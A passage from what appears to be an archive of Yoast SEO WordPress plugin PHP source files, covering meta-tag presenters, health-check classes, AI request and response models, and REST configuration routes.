		return $this->wrapper;
	}

	/**
	 * Retrieves the separator.
	 *
	 * @return string The separator.
	 */
	protected function get_separator() {
		if ( ! $this->separator ) {
			$this->separator = \apply_filters( 'wpseo_breadcrumb_separator', $this->helpers->options->get( 'breadcrumbs-sep' ) );
			$this->separator = ' ' . $this->separator . ' ';
		}

		return $this->separator;
	}

	/**
	 * Retrieves the crumb element name.
	 *
	 * @return string The element to use.
	 */
	protected function get_element() {
		if ( ! $this->element ) {
			$this->element = \esc_attr( \apply_filters( 'wpseo_breadcrumb_single_link_wrapper', 'span' ) );
		}

		return $this->element;
	}

	/**
	 * This is needed because when the editor is loaded in an Iframe the link needs to open in a different browser window.
	 * We don't want this behaviour in the front-end and the way to check this is to check if the block is rendered in a REST request with the `context` set as 'edit'. Thus being in the editor.
	 *
	 * @return bool returns if the breadcrumb should be opened in another window.
	 */
	private function should_link_target_blank(): bool {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['context'] ) && \is_string( $_GET['context'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing.
			if ( \wp_unslash( $_GET['context'] ) === 'edit' ) {
				return true;
			}
		}
		return false;
	}
}
presenters/meta-author-presenter.php000066600000002541152204306260013710 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use WP_User;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the meta author tag.
 */
class Meta_Author_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'author';

	/**
	 * Returns the author for a post in a meta author tag.
	 *
	 * @return string The meta author tag.
	 */
	public function present() {
		$output = parent::present();

		if ( ! empty( $output ) ) {
			return $output;
		}

		return '';
	}

	/**
	 * Get the author's display name.
	 *
	 * @return string The author's display name.
	 */
	public function get() {
		if ( $this->presentation->model->object_sub_type !== 'post' ) {
			return '';
		}

		$user_data = \get_userdata( $this->presentation->context->post->post_author );

		if ( ! $user_data instanceof WP_User ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_meta_author' - Allow developers to filter the article's author meta tag.
		 *
		 * @param string                 $author_name  The article author's display name. Return empty to disable the tag.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \trim( $this->helpers->schema->html->smart_strip_tags( \apply_filters( 'wpseo_meta_author', $user_data->display_name, $this->presentation ) ) );
	}
}
presenters/rel-next-presenter.php000066600000003203152204306260013214 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the rel next meta tag.
 */
class Rel_Next_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'next';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::LINK_REL_HREF;

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'url';

	/**
	 * Returns the rel next meta tag.
	 *
	 * @return string The rel next tag.
	 */
	public function present() {
		$output = parent::present();

		if ( ! empty( $output ) ) {
			/**
			 * Filter: 'wpseo_next_rel_link' - Allow changing link rel output by Yoast SEO.
			 *
			 * @param string $unsigned The full `<link` element.
			 */
			return \apply_filters( 'wpseo_next_rel_link', $output );
		}

		return '';
	}

	/**
	 * Run the canonical content through the `wpseo_adjacent_rel_url` filter.
	 *
	 * @return string The filtered adjacent link.
	 */
	public function get() {
		if ( \in_array( 'noindex', $this->presentation->robots, true ) ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_adjacent_rel_url' - Allow filtering of the rel next URL put out by Yoast SEO.
		 *
		 * @param string                 $rel_next     The rel next URL.
		 * @param string                 $rel          Link relationship, prev or next.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \trim( \apply_filters( 'wpseo_adjacent_rel_url', $this->presentation->rel_next, 'next', $this->presentation ) );
	}
}
presenters/debug/marker-open-presenter.php000066600000003132152204306260014765 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Debug;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;

/**
 * Presenter class for the debug open marker.
 */
final class Marker_Open_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * Returns the debug close marker.
	 *
	 * @return string The debug close marker.
	 */
	public function present() {
		/**
		 * Filter: 'wpseo_debug_markers' - Allow disabling the debug markers.
		 *
		 * @param bool $show_markers True when the debug markers should be shown.
		 */
		if ( ! \apply_filters( 'wpseo_debug_markers', true ) ) {
			return '';
		}
		$version_info = 'v' . \WPSEO_VERSION;

		if ( $this->helpers->product->is_premium() ) {
			$version_info = $this->construct_version_info();
		}

		return \sprintf(
			'<!-- This site is optimized with the %1$s %2$s - https://yoast.com/wordpress/plugins/seo/ -->',
			\esc_html( $this->helpers->product->get_name() ),
			$version_info
		);
	}

	/**
	 * Gets the plugin version information, including the free version if Premium is used.
	 *
	 * @return string The constructed version information.
	 */
	private function construct_version_info() {
		/**
		 * Filter: 'wpseo_hide_version' - can be used to hide the Yoast SEO version in the debug marker (only available in Yoast SEO Premium).
		 *
		 * @param bool $hide_version
		 */
		if ( \apply_filters( 'wpseo_hide_version', false ) ) {
			return '';
		}

		return 'v' . \WPSEO_PREMIUM_VERSION . ' (Yoast SEO v' . \WPSEO_VERSION . ')';
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string The raw value.
	 */
	public function get() {
		return '';
	}
}
presenters/debug/marker-close-presenter.php000066600000001505152204306260015133 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Debug;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;

/**
 * Presenter class for the debug close marker.
 */
final class Marker_Close_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * Returns the debug close marker.
	 *
	 * @return string The debug close marker.
	 */
	public function present() {
		/**
		 * Filter: 'wpseo_debug_markers' - Allow disabling the debug markers.
		 *
		 * @param bool $show_markers True when the debug markers should be shown.
		 */
		if ( ! \apply_filters( 'wpseo_debug_markers', true ) ) {
			return '';
		}

		return \sprintf(
			'<!-- / %s. -->',
			\esc_html( $this->helpers->product->get_name() )
		);
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string The raw value.
	 */
	public function get() {
		return '';
	}
}
presenters/rel-prev-presenter.php000066600000003301152204306260013211 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Presenter class for the rel prev meta tag.
 */
class Rel_Prev_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'prev';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::LINK_REL_HREF;

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'url';

	/**
	 * Returns the rel prev meta tag.
	 *
	 * @param bool $output_tag Optional. Whether or not to output the HTML tag. Defaults to true.
	 *
	 * @return string The rel prev tag.
	 */
	public function present( $output_tag = true ) {
		$output = parent::present();

		if ( ! empty( $output ) ) {
			/**
			 * Filter: 'wpseo_prev_rel_link' - Allow changing link rel output by Yoast SEO.
			 *
			 * @param string $unsigned The full `<link` element.
			 */
			return \apply_filters( 'wpseo_prev_rel_link', $output );
		}

		return '';
	}

	/**
	 * Run the rel prev content through the `wpseo_adjacent_rel_url` filter.
	 *
	 * @return string The filtered adjacent link.
	 */
	public function get() {
		if ( \in_array( 'noindex', $this->presentation->robots, true ) ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_adjacent_rel_url' - Allow filtering of the rel prev URL put out by Yoast SEO.
		 *
		 * @param string                 $canonical    The rel prev URL.
		 * @param string                 $rel          Link relationship, prev or next.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \trim( \apply_filters( 'wpseo_adjacent_rel_url', $this->presentation->rel_prev, 'prev', $this->presentation ) );
	}
}
presenters/score-icon-presenter.php000066600000001660152204306260013524 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Presenter class for a score icon.
 */
class Score_Icon_Presenter extends Abstract_Presenter {

	/**
	 * Holds the title.
	 *
	 * @var string
	 */
	protected $title;

	/**
	 * Holds the CSS class.
	 *
	 * @var string
	 */
	protected $css_class;

	/**
	 * Constructs a Score_Icon_Presenter.
	 *
	 * @param string $title     The title and screen reader text.
	 * @param string $css_class The CSS class.
	 */
	public function __construct( $title, $css_class ) {
		$this->title     = $title;
		$this->css_class = $css_class;
	}

	/**
	 * Presents the score icon.
	 *
	 * @return string The score icon.
	 */
	public function present() {
		return \sprintf(
			'<div aria-hidden="true" title="%1$s" class="wpseo-score-icon %3$s"><span class="wpseo-score-text screen-reader-text">%2$s</span></div>',
			\esc_attr( $this->title ),
			\esc_html( $this->title ),
			\esc_attr( $this->css_class )
		);
	}
}
presenters/webmaster/yandex-presenter.php000066600000001123152204306260014736 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Webmaster;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Yandex Webmaster verification setting.
 */
class Yandex_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'yandex-verification';

	/**
	 * Retrieves the webmaster tool site verification value from the settings.
	 *
	 * @return string The webmaster tool site verification value.
	 */
	public function get() {
		return $this->helpers->options->get( 'yandexverify', '' );
	}
}
analytics/application/missing-indexables-collector.php000066600000004521152204306260017326 0ustar00<?php

namespace Yoast\WP\SEO\Analytics\Application;

use WPSEO_Collection;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;
use Yoast\WP\SEO\Analytics\Domain\Missing_Indexable_Bucket;
use Yoast\WP\SEO\Analytics\Domain\Missing_Indexable_Count;

/**
 * Manages the collection of the missing indexable data.
 *
 * @makePublic
 */
class Missing_Indexables_Collector implements WPSEO_Collection {

	/**
	 * All the indexation actions.
	 *
	 * @var array<Indexation_Action_Interface>
	 */
	private $indexation_actions;

	/**
	 * The collector constructor.
	 *
	 * @param Indexation_Action_Interface ...$indexation_actions All the Indexation actions.
	 */
	public function __construct( Indexation_Action_Interface ...$indexation_actions ) {
		$this->indexation_actions = $indexation_actions;
		$this->add_additional_indexing_actions();
	}

	/**
	 * Gets the data for the tracking collector.
	 *
	 * @return array The list of missing indexables.
	 */
	public function get() {
		$missing_indexable_bucket = new Missing_Indexable_Bucket();
		foreach ( $this->indexation_actions as $indexation_action ) {
			$missing_indexable_count = new Missing_Indexable_Count( \get_class( $indexation_action ), $indexation_action->get_total_unindexed() );
			$missing_indexable_bucket->add_missing_indexable_count( $missing_indexable_count );
		}

		return [ 'missing_indexables' => $missing_indexable_bucket->to_array() ];
	}

	/**
	 * Adds additional indexing actions to count from the 'wpseo_indexable_collector_add_indexation_actions' filter.
	 *
	 * @return void
	 */
	private function add_additional_indexing_actions() {
		/**
		 * Filter: Adds the possibility to add additional indexation actions to be included in the count routine.
		 *
		 * @internal
		 * @param Indexation_Action_Interface $actions This filter expects a list of Indexation_Action_Interface instances
		 *                                             and expects only Indexation_Action_Interface implementations to be
		 *                                             added to the list.
		 */
		$indexing_actions = (array) \apply_filters( 'wpseo_indexable_collector_add_indexation_actions', $this->indexation_actions );

		$this->indexation_actions = \array_filter(
			$indexing_actions,
			static function ( $indexing_action ) {
				return \is_a( $indexing_action, Indexation_Action_Interface::class );
			}
		);
	}
}
services/health-check/runner-interface.php000066600000000425152204306260014674 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Interface for the health check runner. The abstract Health_Check uses this to run a health check.
 */
interface Runner_Interface {

	/**
	 * Runs the health check.
	 *
	 * @return void
	 */
	public function run();
}
services/health-check/health-check.php000066600000004455152204306260013754 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Abstract class for all health checks. Provides a uniform interface for the Health_Check_Integration.
 */
abstract class Health_Check {

	/**
	 * The prefix to add to the test identifier. Used to differentiate between Yoast's health checks, and other health checks.
	 */
	public const TEST_IDENTIFIER_PREFIX = 'yoast-';

	/**
	 * The object that runs the actual health check.
	 *
	 * @var Runner_Interface
	 */
	private $runner;

	/**
	 * The health check implementation sets the runner so this class can start a health check.
	 *
	 * @param  Runner_Interface $runner The health check runner.
	 * @return void
	 */
	protected function set_runner( $runner ) {
		$this->runner = $runner;
	}

	/**
	 * Returns the identifier of health check implementation. WordPress needs this to manage the health check (https://developer.wordpress.org/reference/hooks/site_status_tests/).
	 *
	 * @return string The identifier that WordPress requires.
	 */
	public function get_test_identifier() {
		$full_class_name            = static::class;
		$class_name_backslash_index = \strrpos( $full_class_name, '\\' );

		$class_name = $full_class_name;
		if ( $class_name_backslash_index ) {
			$class_name_index = ( $class_name_backslash_index + 1 );
			$class_name       = \substr( $full_class_name, $class_name_index );
		}

		$lowercase            = \strtolower( $class_name );
		$whitespace_as_dashes = \str_replace( '_', '-', $lowercase );
		$with_prefix          = self::TEST_IDENTIFIER_PREFIX . $whitespace_as_dashes;
		return $with_prefix;
	}

	/**
	 * Runs the health check, and returns its result in the format that WordPress requires to show the results to the user (https://developer.wordpress.org/reference/hooks/site_status_test_result/).
	 *
	 * @return string[] The array containing a WordPress site status report.
	 */
	public function run_and_get_result() {
		$this->runner->run();
		return $this->get_result();
	}

	/**
	 * Gets the result from the health check implementation.
	 *
	 * @return string[] The array containing a WordPress site status report.
	 */
	abstract protected function get_result();

	/**
	 * Returns whether the health check should be excluded from the results.
	 *
	 * @return bool Whether the check should be excluded.
	 */
	abstract public function is_excluded();
}
services/health-check/reports-trait.php000066600000001637152204306260014252 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Used by classes that use a health check Report_Builder.
 */
trait Reports_Trait {

	/**
	 * The factory for the builder object that generates WordPress-friendly test results.
	 *
	 * @var Report_Builder_Factory
	 */
	private $report_builder_factory;

	/**
	 * The test identifier that's set on the Report_Builder.
	 *
	 * @var string
	 */
	private $test_identifier = '';

	/**
	 * Sets the name that WordPress uses to identify this health check.
	 *
	 * @param  string $test_identifier The identifier.
	 * @return void
	 */
	public function set_test_identifier( $test_identifier ) {
		$this->test_identifier = $test_identifier;
	}

	/**
	 * Returns a new Report_Builder instance using the set test identifier.
	 *
	 * @return Report_Builder
	 */
	private function get_report_builder() {
		return $this->report_builder_factory->create( $this->test_identifier );
	}
}
functions.php000066600000001271152204306260007272 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

use Yoast\WP\SEO\Main;

if ( is_dir( WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY ) ) {
	require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/guzzle/src/functions.php';
}

/**
 * Retrieves the main instance.
 *
 * @phpcs:disable WordPress.NamingConventions -- Should probably be renamed, but leave for now.
 *
 * @return Main The main instance.
 */
function YoastSEO() {
	// phpcs:enable

	static $main;

	if ( $main === null ) {
		$main = new Main();
		$main->load();
	}

	return $main;
}
ai-http-request/domain/request.php000066600000003431152204306260013255 0ustar00<?php

namespace Yoast\WP\SEO\AI_HTTP_Request\Domain;

/**
 * Class Request
 * Represents a request to the AI Generator API.
 */
class Request {

	/**
	 * The action path for the request.
	 *
	 * @var string
	 */
	private $action_path;

	/**
	 * The body of the request.
	 *
	 * @var array<string>
	 */
	private $body;

	/**
	 * The headers for the request.
	 *
	 * @var array<string>
	 */
	private $headers;

	/**
	 * Whether the request is a POST request.
	 *
	 * @var bool
	 */
	private $is_post;

	/**
	 * Constructor for the Request class.
	 *
	 * @param string        $action_path The action path for the request.
	 * @param array<string> $body        The body of the request.
	 * @param array<string> $headers     The headers for the request.
	 * @param bool          $is_post     Whether the request is a POST request. Default is true.
	 */
	public function __construct( string $action_path, array $body = [], array $headers = [], bool $is_post = true ) {
		$this->action_path = $action_path;
		$this->body        = $body;
		$this->headers     = $headers;
		$this->is_post     = $is_post;
	}

	/**
	 * Get the action path for the request.
	 *
	 * @return string The action path for the request.
	 */
	public function get_action_path(): string {
		return $this->action_path;
	}

	/**
	 * Get the body of the request.
	 *
	 * @return array<string> The body of the request.
	 */
	public function get_body(): array {
		return $this->body;
	}

	/**
	 * Get the headers for the request.
	 *
	 * @return array<string> The headers for the request.
	 */
	public function get_headers(): array {
		return $this->headers;
	}

	/**
	 * Whether the request is a POST request.
	 *
	 * @return bool True if the request is a POST request, false otherwise.
	 */
	public function is_post(): bool {
		return $this->is_post;
	}
}
ai-http-request/domain/response.php000066600000003734152204306260013431 0ustar00<?php

namespace Yoast\WP\SEO\AI_HTTP_Request\Domain;

/**
 * Class Response
 * Represents a response from the AI Generator API.
 */
class Response {

	/**
	 * The response body.
	 *
	 * @var string
	 */
	private $body;

	/**
	 * The response code.
	 *
	 * @var int
	 */
	private $response_code;

	/**
	 * The response message.
	 *
	 * @var string
	 */
	private $message;

	/**
	 * The error code.
	 *
	 * @var string
	 */
	private $error_code;

	/**
	 * The missing licenses.
	 *
	 * @var array<string>
	 */
	private $missing_licenses;

	/**
	 * Response constructor.
	 *
	 * @param string        $body             The response body.
	 * @param int           $response_code    The response code.
	 * @param string        $message          The response message.
	 * @param string        $error_code       The error code.
	 * @param array<string> $missing_licenses The missing licenses.
	 */
	public function __construct( string $body, int $response_code, string $message, string $error_code = '', $missing_licenses = [] ) {
		$this->body             = $body;
		$this->response_code    = $response_code;
		$this->message          = $message;
		$this->error_code       = $error_code;
		$this->missing_licenses = $missing_licenses;
	}

	/**
	 * Gets the response body.
	 *
	 * @return string The response body.
	 */
	public function get_body() {
		return $this->body;
	}

	/**
	 * Gets the response code.
	 *
	 * @return int The response code.
	 */
	public function get_response_code(): int {
		return $this->response_code;
	}

	/**
	 * Gets the response message.
	 *
	 * @return string The response message.
	 */
	public function get_message(): string {
		return $this->message;
	}

	/**
	 * Gets the error code.
	 *
	 * @return string The error code.
	 */
	public function get_error_code(): string {
		return $this->error_code;
	}

	/**
	 * Gets the missing licenses.
	 *
	 * @return array<string> The missing licenses.
	 */
	public function get_missing_licenses(): array {
		return $this->missing_licenses;
	}
}
ai-http-request/domain/exceptions/wp-request-exception.php000066600000001307152204306260020056 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions;

use Throwable;
/**
 * Class to manage an error response in wp_remote_*() requests.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class WP_Request_Exception extends Remote_Request_Exception {

	/**
	 * WP_Request_Exception constructor.
	 *
	 * @param string          $message  The error message.
	 * @param Throwable| null $previous The previously thrown exception.
	 */
	public function __construct( $message = '', $previous = null ) {
		parent::__construct( $message, 400, 'WP_HTTP_REQUEST_ERROR', $previous );
	}
}
routes/first-time-configuration-route.php000066600000020076152204306260014673 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\Configuration\First_Time_Configuration_Action;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Main;

/**
 * First_Time_Configuration_Route class.
 */
class First_Time_Configuration_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents the first time configuration route.
	 *
	 * @var string
	 */
	public const CONFIGURATION_ROUTE = '/configuration';

	/**
	 * Represents a site representation route.
	 *
	 * @var string
	 */
	public const SITE_REPRESENTATION_ROUTE = '/site_representation';

	/**
	 * Represents a social profiles route.
	 *
	 * @var string
	 */
	public const SOCIAL_PROFILES_ROUTE = '/social_profiles';

	/**
	 * Represents a route to enable/disable tracking.
	 *
	 * @var string
	 */
	public const ENABLE_TRACKING_ROUTE = '/enable_tracking';

	/**
	 * Represents a route to check if current user has the correct capabilities to edit another user's profile.
	 *
	 * @var string
	 */
	public const CHECK_CAPABILITY_ROUTE = '/check_capability';

	/**
	 * Represents a route to save the first time configuration state.
	 *
	 * @var string
	 */
	public const SAVE_CONFIGURATION_STATE_ROUTE = '/save_configuration_state';

	/**
	 * Represents a route to save the first time configuration state.
	 *
	 * @var string
	 */
	public const GET_CONFIGURATION_STATE_ROUTE = '/get_configuration_state';

	/**
	 *  The first tinme configuration action.
	 *
	 * @var First_Time_Configuration_Action
	 */
	private $first_time_configuration_action;

	/**
	 * First_Time_Configuration_Route constructor.
	 *
	 * @param First_Time_Configuration_Action $first_time_configuration_action The first-time configuration action.
	 */
	public function __construct( First_Time_Configuration_Action $first_time_configuration_action ) {
		$this->first_time_configuration_action = $first_time_configuration_action;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$site_representation_route = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'set_site_representation' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'company_or_person' => [
					'type'     => 'string',
					'enum'     => [
						'company',
						'person',
					],
					'required' => true,
				],
				'company_name' => [
					'type'     => 'string',
				],
				'company_logo' => [
					'type'     => 'string',
				],
				'company_logo_id' => [
					'type'     => 'integer',
				],
				'person_logo' => [
					'type'     => 'string',
				],
				'person_logo_id' => [
					'type'     => 'integer',
				],
				'company_or_person_user_id' => [
					'type'     => 'integer',
				],
				'description' => [
					'type'     => 'string',
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SITE_REPRESENTATION_ROUTE, $site_representation_route );

		$social_profiles_route = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'set_social_profiles' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'facebook_site' => [
					'type'     => 'string',
				],
				'twitter_site' => [
					'type'     => 'string',
				],
				'other_social_urls' => [
					'type'     => 'array',
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SOCIAL_PROFILES_ROUTE, $social_profiles_route );

		$check_capability_route = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'check_capability' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'user_id' => [
					'required' => true,
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::CHECK_CAPABILITY_ROUTE, $check_capability_route );

		$enable_tracking_route = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'set_enable_tracking' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'tracking' => [
					'type'     => 'boolean',
					'required' => true,
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::ENABLE_TRACKING_ROUTE, $enable_tracking_route );

		$save_configuration_state_route = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'save_configuration_state' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'finishedSteps' => [
					'type'     => 'array',
					'required' => true,
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SAVE_CONFIGURATION_STATE_ROUTE, $save_configuration_state_route );

		$get_configuration_state_route = [
			[
				'methods'             => 'GET',
				'callback'            => [ $this, 'get_configuration_state' ],
				'permission_callback' => [ $this, 'can_manage_options' ],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::GET_CONFIGURATION_STATE_ROUTE, $get_configuration_state_route );
	}

	/**
	 * Sets the site representation values.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function set_site_representation( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->set_site_representation( $request->get_json_params() );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Sets the social profiles values.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function set_social_profiles( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->set_social_profiles( $request->get_json_params() );

		return new WP_REST_Response(
			[ 'json' => $data ]
		);
	}

	/**
	 * Checks if the current user has the correct capability to edit a specific user.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function check_capability( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->check_capability( $request->get_param( 'user_id' ) );

		return new WP_REST_Response( $data );
	}

	/**
	 * Enables or disables tracking.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function set_enable_tracking( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->set_enable_tracking( $request->get_json_params() );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Checks if the current user has the right capability.
	 *
	 * @return bool
	 */
	public function can_manage_options() {
		return \current_user_can( 'wpseo_manage_options' );
	}

	/**
	 * Checks if the current user has the capability to edit a specific user.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return bool
	 */
	public function can_edit_user( WP_REST_Request $request ) {
		$response = $this->first_time_configuration_action->check_capability( $request->get_param( 'user_id' ) );
		return $response->success;
	}

	/**
	 * Checks if the current user has the capability to edit posts of other users.
	 *
	 * @return bool
	 */
	public function can_edit_other_posts() {
		return \current_user_can( 'edit_others_posts' );
	}

	/**
	 * Saves the first time configuration state.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function save_configuration_state( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->save_configuration_state( $request->get_json_params() );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Returns the first time configuration state.
	 *
	 * @return WP_REST_Response the state of the configuration.
	 */
	public function get_configuration_state() {
		$data = $this
			->first_time_configuration_action
			->get_configuration_state();

		return new WP_REST_Response( $data, $data->status );
	}
}
routes/abstract-action-route.php000066600000001172152204306260013015 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Response;

/**
 * Abstract_Action_Route class.
 *
 * Abstract class for action routes.
 */
abstract class Abstract_Action_Route implements Route_Interface {

	/**
	 * Responds to an indexing request.
	 *
	 * @param array  $objects  The objects that have been indexed.
	 * @param string $next_url The url that should be called to continue reindexing. False if done.
	 *
	 * @return WP_REST_Response The response.
	 */
	protected function respond_with( $objects, $next_url ) {
		return new WP_REST_Response(
			[
				'objects'  => $objects,
				'next_url' => $next_url,
			]
		);
	}
}
routes/supported-features-route.php000066600000002436152204306260013604 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional;
use Yoast\WP\SEO\Main;

/**
 * Supported_Features_Route class.
 */
class Supported_Features_Route implements Route_Interface {

	/**
	 * Represents the supported features route.
	 *
	 * @var string
	 */
	public const SUPPORTED_FEATURES_ROUTE = '/supported-features';

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [
			Addon_Installation_Conditional::class,
		];
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$supported_features_route = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'get_supported_features' ],
			'permission_callback' => '__return_true',
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::SUPPORTED_FEATURES_ROUTE, $supported_features_route );
	}

	/**
	 * Returns a list of features supported by this yoast seo installation.
	 *
	 * @return WP_REST_Response a list of features supported by this yoast seo installation.
	 */
	public function get_supported_features() {
		return new WP_REST_Response(
			[
				'addon-installation' => 1,
			]
		);
	}
}
routes/workouts-route.php000066600000006145152204306260011641 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Main;

/**
 * Workouts_Route class.
 */
class Workouts_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents workouts route.
	 *
	 * @var string
	 */
	public const WORKOUTS_ROUTE = '/workouts';

	/**
	 * The Options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Workouts_Route constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$edit_others_posts = static function () {
			return \current_user_can( 'edit_others_posts' );
		};

		$workouts_route = [
			[
				'methods'             => 'GET',
				'callback'            => [ $this, 'get_workouts' ],
				'permission_callback' => $edit_others_posts,
			],
			[
				'methods'             => 'POST',
				'callback'            => [ $this, 'set_workouts' ],
				'permission_callback' => $edit_others_posts,
				'args'                => $this->get_workouts_routes_args(),
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::WORKOUTS_ROUTE, $workouts_route );
	}

	/**
	 * Returns the workouts as configured for the site.
	 *
	 * @return WP_REST_Response the configuration of the workouts.
	 */
	public function get_workouts() {
		$workouts_option = $this->options_helper->get( 'workouts_data' );

		/**
		 * Filter: 'Yoast\WP\SEO\workouts_options' - Allows adding workouts options by the add-ons.
		 *
		 * @param array $workouts_option The content of the `workouts_data` option in Free.
		 */
		$workouts_option = \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option );

		return new WP_REST_Response(
			[ 'json' => $workouts_option ]
		);
	}

	/**
